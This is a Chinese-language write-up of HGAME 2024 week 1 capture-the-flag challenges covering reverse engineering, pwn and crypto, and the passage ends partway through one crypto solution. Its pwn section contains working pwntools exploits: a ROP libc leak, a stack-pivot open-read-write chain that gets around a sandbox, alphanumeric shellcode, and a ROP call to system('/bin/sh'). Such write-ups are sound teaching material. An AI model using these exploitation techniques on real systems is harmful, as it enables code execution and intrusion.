# Hgame_wp_week1
# RE
# ezASM(100pt)
To learn a little ASM
题目:
section .data
c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
flag db 33 dup(0)
format db "plz input your flag: ", 0
success db "Congratulations!", 0
failure db "Sry, plz try again", 0
section .text
global _start
_start:
; Print prompt
mov eax, 4
mov ebx, 1
mov ecx, format
mov edx, 20
int 0x80
; Read user input
mov eax, 3
mov ebx, 0
mov ecx, flag
mov edx, 33
int 0x80
; Check flag
xor esi, esi
check_flag:
mov al, byte [flag + esi]
xor al, 0x22
cmp al, byte [c + esi]
jne failure_check
inc esi
cmp esi, 33
jne check_flag
; Print success message
mov eax, 4
mov ebx, 1
mov ecx, success
mov edx, 14
int 0x80
; Exit
mov eax, 1
xor ebx, ebx
int 0x80
failure_check:
; Print failure message
mov eax, 4
mov ebx, 1
mov ecx, failure
mov edx, 18
int 0x80
; Exit
mov eax, 1
xor ebx, ebx
int 0x80
解题思路:
; Check flag
xor esi, esi
check_flag:
mov al, byte [flag + esi]
xor al, 0x22
cmp al, byte [c + esi]
jne failure_check
检测用户输入与 0x22 异或然后与 c 进行比较
即 c [i] 与 0x22 异或之后得到的为 flag 内容。
exp:
c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34] | |
x = 0x22 | |
flag = [] | |
for i in range(len(c)): | |
tmp = c[i] ^ x | |
flag.append(tmp) | |
print(''.join(chr(flag[i]) for i in range(len(flag)))) |
hgame\
# ezPYC(100pt)
ez python Reverse
这题目做了好久,结果是 pyc 的文件头错误,因为用 "pyinstxtractor.py" 解包后,在库文件中 pyc 的文件头也是错误的。
解题思路:
python pyinstxtractor.py ezPYC.exe |
在目录文件夹中解包出下面文件夹
ezPYC.exe_extracted
找到 ezPYC 二进制文件
进行修改文件头操作
55 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00
加到 E3 之前即可。
然后进行 pyc 反编译
pycdc.exe ezPYC.pyc > 2.txt |
# Source Generated with Decompyle++ | |
# File: ezPYC.pyc (Python 3.8) | |
flag = [ | |
87, | |
75, | |
71, | |
69, | |
83, | |
121, | |
83, | |
125, | |
117, | |
106, | |
108, | |
106, | |
94, | |
80, | |
48, | |
114, | |
100, | |
112, | |
112, | |
55, | |
94, | |
51, | |
112, | |
91, | |
48, | |
108, | |
119, | |
97, | |
115, | |
49, | |
112, | |
112, | |
48, | |
108, | |
100, | |
37, | |
124, | |
2] | |
c = [ | |
1, | |
2, | |
3, | |
4] | |
input = input('plz input flag:') | |
for i in range(0, 36, 1): | |
if ord(input[i]) ^ c[i % 4] != flag[i]: | |
print('Sry, try again...') | |
exit() | |
continue | |
print('Wow!You know a little of python reverse') | |
return None |
exp
flag = [ | |
87, | |
75, | |
71, | |
69, | |
83, | |
121, | |
83, | |
125, | |
117, | |
106, | |
108, | |
106, | |
94, | |
80, | |
48, | |
114, | |
100, | |
112, | |
112, | |
55, | |
94, | |
51, | |
112, | |
91, | |
48, | |
108, | |
119, | |
97, | |
115, | |
49, | |
112, | |
112, | |
48, | |
108, | |
100, | |
37, | |
124, | |
2] | |
c = [ | |
1, | |
2, | |
3, | |
4] | |
for i in range(0, 36, 1): | |
a = flag[i] ^ c[i % 4] | |
print(chr(a),end='') |
VIDAR\
# ezUPX(100pt)
UPX is a packer
给定文件为加 upx 壳
upx -d ezUPX.exe |
拖入 IDA 发现关键代码
int __fastcall main(int argc, const char **argv, const char **envp) | |
{ | |
int v3; // edx | |
__int64 i; // rax | |
__int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF | |
int v7; // [rsp+40h] [rbp-18h] | |
memset(v6, 0, sizeof(v6)); | |
v7 = 0; | |
sub_140001020("plz input your flag:\n"); | |
sub_140001080("%36s"); | |
v3 = 0; | |
for ( i = 0i64; (*((_BYTE *)v6 + i) ^ 0x32) == byte_1400022A0[i]; ++i ) | |
{ | |
if ( (unsigned int)++v3 >= 0x25 ) | |
{ | |
sub_140001020("Cooool!You really know a little of UPX!"); | |
return 0; | |
} | |
} | |
sub_140001020("Sry,try again plz..."); | |
return 0; | |
} |
byte_1400022A0[] == 647B76736049655D45136B02476D595C02456D066D5E0346465E016D02546D67626A134F320000000000000000000000
同 ezASM 的 exp 相同,简单的异或
c1 = [0x64,0x7B,0x76,0x73,0x60,0x49,0x65,0x5D,0x45,0x13,0x6B,0x02,0x47,0x6D,0x59,0x5C,0x02,0x45,0x6D,0x06,0x6D,0x5E,0x03,0x46,0x46,0x5E,0x01,0x6D,0x02,0x54,0x6D,0x67,0x62,0x6A,0x13,0x4F,0x32] | |
x1 = 0x32 | |
flag = [] | |
for i in range(len(c1)): | |
tmp = c1[i] ^ x1 | |
flag.append(tmp) | |
print(''.join(chr(flag[i]) for i in range(len(flag)))) |
VIDAR\
# ezIDA(50pt)
Do you know how to use IDA?
拖入 IDA 即可发现 flag
.text:00000001400010E0 main proc near ; CODE XREF: __scrt_common_main_seh(void)+107↓p
.text:00000001400010E0 ; DATA XREF: .pdata:0000000140004018↓o
.text:00000001400010E0 push rbx
.text:00000001400010E2 sub rsp, 20h
.text:00000001400010E6 lea rcx, Format ; "plz input flag:\n"
.text:00000001400010ED call sub_140001020
.text:00000001400010F2 lea rbx, byte_1400030C8
.text:00000001400010F9 mov rdx, rbx
.text:00000001400010FC lea rcx, a39s ; "%39s"
.text:0000000140001103 call sub_140001080
.text:0000000140001108 lea r8, aHgameW3lc0meT0 ; "hgame{W3lc0me_T0_Th3_World_of_Rev3rse!}"
.text:000000014000110F sub r8, rbx
......
hgame\
# PWN
# EzSignIn(25pt)
Have fun in pwn games of hgame2024~
nc 47.100.137.175 31722 |
hgame\
# Elden Ring Ⅰ(250pt)
伊丽莎白学姐沉迷于艾尔登法环无法自拔,你能帮她从梅琳娜那里拿到 flag 吗? flag 格式为 hgame
栈迁移与 orw 结合
程序代码
int __fastcall main(int argc, const char **argv, const char **envp) | |
{ | |
__int64 v4; // [rsp+8h] [rbp-8h] | |
init(argc, argv, envp); | |
v4 = seccomp_init(2147418112LL); | |
seccomp_rule_add(v4, 0LL, 59LL, 0LL); | |
seccomp_rule_add(v4, 0LL, 322LL, 0LL); | |
seccomp_load(v4); | |
puts("The fallen leaves tell a story...\n"); | |
sleep(2u); | |
puts("...\n"); | |
sleep(2u); | |
puts("...\n"); | |
sleep(2u); | |
puts( | |
"And one other. Whom grace would again bless. A Tarnished of no renown. Cross the fog, to the Lands Between, to stand" | |
" before the Elden Ring. And become the Elden Lord.\n"); | |
sleep(2u); | |
vuln(); | |
puts("Good Bye."); | |
return 0; | |
} | |
ssize_t vuln() | |
{ | |
char buf[256]; // [rsp+0h] [rbp-100h] BYREF | |
puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n"); | |
return read(0, buf, 0x130uLL); | |
} |
vuln 有栈溢出漏洞能够溢出 0x30 的大小,也能够发现开启了沙箱。开始想这 ret2libc 可以一步到位,但是程序禁用了 execve,意味着 system 不能够使用(system 底层是由 execve 实现的)
所以使用 orw 读取 flag。因为测试中发现 orw 去进栈之后,0x30 溢出字节不能够写入。所以使用栈迁移去解决即可。
exp
from LibcSearcher import * | |
from pwn import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# r = remote('47.100.137.175',30139) | |
r = process('./vuln') | |
libc = ELF('./libc.so.6') | |
elf = ELF('./vuln') | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
sea = lambda delim, data : r.sendafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda : r.recvline() | |
ru = lambda delims : r.recvuntil(delims) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
pack = lambda str, addr : p32(addr) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
it = lambda : r.interactive() | |
padding = 0x100 | |
puts_plt = elf.plt['puts'] | |
puts_got = elf.got['puts'] | |
vuln = elf.sym['vuln'] | |
ret = 0x000000000040101a | |
rdi = 0x00000000004013e3 | |
pad1 = padding*b'a' + p64(0x12345678) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln) | |
se(pad1) | |
puts = lic(b'\x7f') | |
print('puts ===>',hex(puts)) | |
# libc = LibcSearcher('puts',puts) | |
libc_base = puts - libc.sym['puts'] | |
read_addr = libc_base +libc.sym['read'] | |
open_addr = libc_base +libc.sym['open'] | |
write_addr = libc_base +libc.sym['write'] | |
rdx= libc_base + 0x142c92 | |
rsi = libc_base + 0x2601f | |
buf = elf.bss() + 0x100 | |
rax = libc_base + 0x36174 | |
rsp = libc_base + 0x2f70a | |
syscall_addr = libc_base +libc.sym['syscall'] | |
pad2=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_addr)+p64(rsp)+p64(buf+8) | |
se(pad2) | |
pad3=b'/flag'.ljust(8,b'\x00') | |
pad3+=p64(rdi)+p64(buf)+p64(rsi)+p64(0)+p64(open_addr) | |
pad3+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x100)+p64(read_addr) | |
pad3+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x50)+p64(write_addr)+p64(vuln) | |
se(pad3) | |
rc() | |
it() |
flag\
# ezshellcode(100pt)
Short visible shellcode?
整型溢出并绕过判段之后进行可见字符的 shellcode
程序代码
int __fastcall main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF | |
void (*v5)(void); // [rsp+10h] [rbp-10h] | |
unsigned __int64 v6; // [rsp+18h] [rbp-8h] | |
v6 = __readfsqword(0x28u); | |
init(argc, argv, envp); | |
v5 = (void (*)(void))(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL); | |
if ( v5 == (void (*)(void))-1LL ) | |
{ | |
perror("mmap"); | |
exit(1); | |
} | |
printf("input the length of your shellcode:"); | |
__isoc99_scanf("%2d", &v4); | |
if ( (int)v4 <= 10 ) | |
{ | |
printf("input your shellcode:"); | |
myread(v5, v4); | |
} | |
else | |
{ | |
puts("too long"); | |
} | |
v5(); | |
return 0; | |
} | |
unsigned __int64 __fastcall myread(void *a1, unsigned int a2) | |
{ | |
char v3; // [rsp+1Fh] [rbp-11h] | |
unsigned int i; // [rsp+20h] [rbp-10h] | |
unsigned int v5; // [rsp+24h] [rbp-Ch] | |
unsigned __int64 v6; // [rsp+28h] [rbp-8h] | |
v6 = __readfsqword(0x28u); | |
v5 = read(0, a1, a2); | |
for ( i = 0; i < v5; ++i ) | |
{ | |
v3 = *((_BYTE *)a1 + i); | |
if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) ) | |
{ | |
puts("Invalid character\n"); | |
exit(1); | |
} | |
} | |
return v6 - __readfsqword(0x28u); | |
} |
exp
from LibcSearcher import * | |
from pwn import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
r = remote('47.100.137.175',32468) | |
# r = process('./pwn') | |
elf = ELF('./pwn') | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
sea = lambda delim, data : r.sendafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda : r.recvline() | |
ru = lambda delims : r.recvuntil(delims) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
pack = lambda str, addr : p32(addr) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
it = lambda : r.interactive() | |
sl('-1') | |
shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' | |
se(shellcode) | |
it() |
hgame\
# Elden Random Challenge(100pt)
rrrrraaaannnnndddddoooommmm
随机数挑战,以 0 为种子去发送 99 次随机数即可
int v4; // [rsp+8h] [rbp-18h] BYREF | |
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF | |
int v6; // [rsp+18h] [rbp-8h] | |
unsigned int seed; // [rsp+1Ch] [rbp-4h] | |
init(argc, argv, envp); | |
seed = time(0LL); | |
puts("Menlina: Well tarnished, tell me thy name."); | |
read(0, buf, 0x12uLL); | |
printf("I see,%s", buf); | |
puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started."); | |
srand(seed); | |
while ( i <= 98 ) | |
{ | |
v6 = rand() % 100 + 1; | |
v4 = 0; | |
puts("Please guess the number:"); | |
read(0, &v4, 8uLL); | |
if ( v6 != v4 ) | |
{ | |
puts("wrong!"); | |
exit(0); | |
} | |
++i; | |
} | |
puts("Here's a reward to thy brilliant mind."); | |
myread(); | |
return 0; | |
} | |
ssize_t myread() | |
{ | |
char buf[48]; // [rsp+0h] [rbp-30h] BYREF | |
return read(0, buf, 0x100uLL); | |
} |
from LibcSearcher import * | |
from pwn import * | |
from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# r = remote('47.100.137.175',30918) | |
r = process('./vuln') | |
libc = cdll.LoadLibrary('/home/yhuan/Desktop/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6') | |
elf = ELF('./vuln') | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
sea = lambda delim, data : r.sendafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda : r.recvline() | |
ru = lambda delims : r.recvuntil(delims) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
pack = lambda str, addr : p32(addr) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
it = lambda : r.interactive() | |
sa(b"Menlina: Well tarnished, tell me thy name.",b'a'*10+p64(0x12341234)) | |
n = 0 | |
srand = libc.srand(n) #设置种子 | |
for i in range(99): | |
sa(b'Please guess the number:\n',p64(libc.rand()%100+1)) | |
myread = elf.sym['myread'] | |
puts_plt = elf.plt['puts'] | |
puts_got = elf.got['puts'] | |
rdi = 0x0000000000401423 | |
ret = 0x000000000040101a | |
pl = 0x30*b'a' + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(puts_plt) + p64(myread) | |
sla(b"Here's a reward to thy brilliant mind.",pl) | |
put_addr = lic('\x7f') | |
print(hex(put_addr)) | |
print('put====>',hex(put_addr)) | |
libc = LibcSearcher('puts',put_addr) | |
libc_base = put_addr - libc.dump('puts') | |
print('libc====>',hex(libc_base)) | |
system = libc_base + libc.dump('system') | |
binsh = libc_base + libc.dump('str_bin_sh') | |
pl2 = b'a'*0x30 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) | |
sl(pl2) | |
it() |
hgame\
# ezfmt string(100pt)
easy Format String
没做出来,学习 exp
# CRYPTO
# 奇怪的图片 (100pt)
一些奇怪的图片
出题脚本
import time | |
from PIL import Image, ImageDraw, ImageFont | |
import threading | |
import random | |
import secrets | |
flag = "hgame{fake_flag}" | |
def generate_random_image(width, height): | |
image = Image.new("RGB", (width, height), "white") | |
pixels = image.load() | |
for x in range(width): | |
for y in range(height): | |
red = random.randint(0, 255) | |
green = random.randint(0, 255) | |
blue = random.randint(0, 255) | |
pixels[x, y] = (red, green, blue) | |
return image | |
def draw_text(image, width, height, token): | |
font_size = random.randint(16, 40) | |
font = ImageFont.truetype("arial.ttf", font_size) | |
text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) | |
x = random.randint(0, width - font_size * len(token)) | |
y = random.randint(0, height - font_size) | |
draw = ImageDraw.Draw(image) | |
draw.text((x, y), token, font=font, fill=text_color) | |
return image | |
def xor_images(image1, image2): | |
if image1.size != image2.size: | |
raise ValueError("Images must have the same dimensions.") | |
xor_image = Image.new("RGB", image1.size) | |
pixels1 = image1.load() | |
pixels2 = image2.load() | |
xor_pixels = xor_image.load() | |
for x in range(image1.size[0]): | |
for y in range(image1.size[1]): | |
r1, g1, b1 = pixels1[x, y] | |
r2, g2, b2 = pixels2[x, y] | |
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2) | |
return xor_image | |
def generate_unique_strings(n, length): | |
unique_strings = set() | |
while len(unique_strings) < n: | |
random_string = secrets.token_hex(length // 2) | |
print(random_string) | |
unique_strings.add(random_string) | |
return list(unique_strings) | |
random_strings = generate_unique_strings(len(flag), 8) | |
print(random_strings) | |
current_image = generate_random_image(120, 80) | |
current_image.show() | |
key_image = generate_random_image(120, 80) | |
key_image.show() | |
def random_time(image, name): | |
time.sleep(random.random()) | |
image.save(".\\png_out\\{}.png".format(name)) | |
for i in range(len(flag)): | |
current_image = draw_text(current_image, 120, 80, flag[i]) | |
threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start() |
大致思路应该让我们找到 key_image,去异或 draw_text () 覆盖上 current_image 的字母,但是我转念一想,如果找到如果找到了 key_image,但是图片的顺序是用 random_strings () 名称来打乱了,那么不确定顺序 flag 一样无法解决,所以我们找到第一张和第二张与 key_image 的图片即可,然后判断字母数量即可确定顺序。
解题脚本不太优雅,还是等下 exp 学习一下捏
exp
import time | |
from PIL import Image, ImageDraw, ImageFont | |
import threading | |
import random | |
import secrets | |
png1 = Image.open('4.png') | |
png2 = Image.open('14.png') | |
#与 key_image 的 xor 顺序 | |
# 4 7 20 15 21 9 12 19 13 16 2 10 18 5 17 8 3 6 1 11 14 | |
def xor_images(image1, image2): | |
if image1.size != image2.size: | |
raise ValueError("Images must have the same dimensions.") | |
xor_image = Image.new("RGB", image1.size) | |
pixels1 = image1.load() | |
pixels2 = image2.load() | |
xor_pixels = xor_image.load() | |
for x in range(image1.size[0]): | |
for y in range(image1.size[1]): | |
r1, g1, b1 = pixels1[x, y] | |
r2, g2, b2 = pixels2[x, y] | |
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2) | |
return xor_image | |
a = xor_images(png1, png2) | |
a.show() |
hgame\
# ezMath(100pt)
题目描述:一个简单的数学题
pell 方程,需要求出 y,以 y 为 key,解决 aes 的 ebc 问题
出题脚本
from Crypto.Util.number import * | |
from Crypto.Cipher import AES | |
import random,string | |
from secret import flag,y,x | |
def pad(x): | |
return x+b'\x00'*(16-len(x)%16) | |
def encrypt(KEY): | |
cipher= AES.new(KEY,AES.MODE_ECB) | |
encrypted =cipher.encrypt(flag) | |
return encrypted | |
D = 114514 | |
assert x**2 - D * y**2 == 1 | |
flag=pad(flag) | |
key=pad(long_to_bytes(y))[:16] | |
enc=encrypt(key) | |
print(f'enc={enc}') | |
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a" |
exp
from Crypto.Util.number import * | |
from Crypto.Cipher import AES | |
import random,string | |
def pad(x): | |
return x+b'\x00'*(16-len(x)%16) | |
def encrypt(KEY): | |
cipher= AES.new(KEY,AES.MODE_ECB) | |
encrypted =cipher.encrypt(flag) | |
return encrypted | |
def decrypt(encrypted_message, key): | |
cipher = AES.new(key, AES.MODE_ECB) | |
decrypted = cipher.decrypt(encrypted_message) | |
unpadded = decrypted.rstrip(b"\0") | |
return unpadded | |
#------------------------------------------------------ | |
#sage | |
def solve_pell(N, numTry = 1000): | |
cf = continued_fraction(sqrt(N)) | |
for i in range(numTry): | |
denom = cf.denominator(i) | |
numer = cf.numerator(i) | |
if numer^2 - N * denom^2 == 1: | |
return numer, denom | |
return None, None | |
N = 114514 | |
pell = solve_pell(N) | |
print(pell) | |
#(3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199, 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680) | |
#-------------------------------------------------------- | |
from Crypto.Util.number import * | |
from Crypto.Cipher import AES | |
flag = 'flag{test}' | |
y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680 | |
key=pad(long_to_bytes(y))[:16] | |
print(key) | |
enc = b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a" | |
print(decrypt(enc,key)) |
hgame\
# ezRSA(50pt)
题目描述:一个简单的 RSA
有 leak1 与 leak2,需要推到出 p q
出题脚本
from Crypto.Util.number import * | |
from secret import flag | |
m=bytes_to_long(flag) | |
p=getPrime(1024) | |
q=getPrime(1024) | |
n=p*q | |
phi=(p-1)*(q-1) | |
e=0x10001 | |
c=pow(m,e,n) | |
leak1=pow(p,q,n) | |
leak2=pow(q,p,n) | |
print(f'leak1={leak1}') | |
print(f'leak2={leak2}') | |
print(f'c={c}') | |
""" | |
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669 | |
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461 | |
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971 | |
""" |
解题思路
leak1 = p^q%(pq)
leak2 = q^p%(pq)leak = pq%(p*q)+qp%(p*q)
leak = p + q = leak1 + leak2
p = leak1
q = leak2
如何就是已知 p q e c 求 m
exp
import libnum | |
p = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669 | |
q = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461 | |
c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971 | |
e = 0x10001 | |
n = p*q | |
phi = (p-1)*(q-1) | |
d = libnum.invmod(e,phi) | |
m = pow(c,d,n) | |
print(libnum.n2s(m)) |
hgame\
# ezPRNG(150pt)
题目描述:一个简单的随机数
LSRF 伪随机数
mask 只有第 1、4、8、11、15、20、25、28、32 这几位为 1,其余位均为 0。到这数
mask 与 R 做按位与运算得到 i,当且仅当 R 的第 1、4、8、11、15、20、25、28 这几位中也出现 1 时,i 中才可能出现 1,否则 i 中将全为 0。
lastbit 是由 i 的最低位向 i 的最高位依次做异或运算得到的,在这个过程中,所有为 0 的位我们可以忽略不计(因为 0 异或任何数等于任何数本身,不影响最后运算结果),因此 lastbit 的值仅取决于 i 中有多少个 1:当 i 中有奇数个 1 时,lastbit 等于 1;当 i 中有偶数个 1 时,lastbit 等于 0。
当 R 的第 1、4、8、11、15、20、25、28 这几位依次异或结果为 1 时,即 R 中有奇数个 1,因此将导致 i 中有奇数个 1;当 R 的第 1、4、8、11、15、20、25、28 这几位依次异或结果为 0 时,即 R 中有偶数个 1,因此将导致 i 中有偶数个 1。
因此我们可以建立出联系:lastbit 等于 R 的第 1、4、8、11、15、20、25、28 这几位依次异或的结果。
出题脚本
from Crypto.Util.number import * | |
import uuid | |
def PRNG(R,mask): | |
nextR = (R << 1) & 0xffffffff | |
i=(R&mask)&0xffffffff | |
nextbit=0 | |
while i!=0: | |
nextbit^=(i%2) | |
i=i//2 | |
nextR^=nextbit | |
return (nextR,nextbit) | |
R=str(uuid.uuid4()) | |
flag='hgame{'+R+'}' | |
print(flag) | |
R=R.replace('-','') | |
Rlist=[int(R[i*8:i*8+8],16) for i in range(4)] | |
mask=0b10001001000010000100010010001001 | |
output=[] | |
for i in range(4): | |
R=Rlist[i] | |
out='' | |
for _ in range(1000): | |
(R,nextbit)=PRNG(R,mask) | |
out+=str(nextbit) | |
output.append(out) | |
print(f'output={output}') | |
#output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011'] |
exp
Olist = ['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', 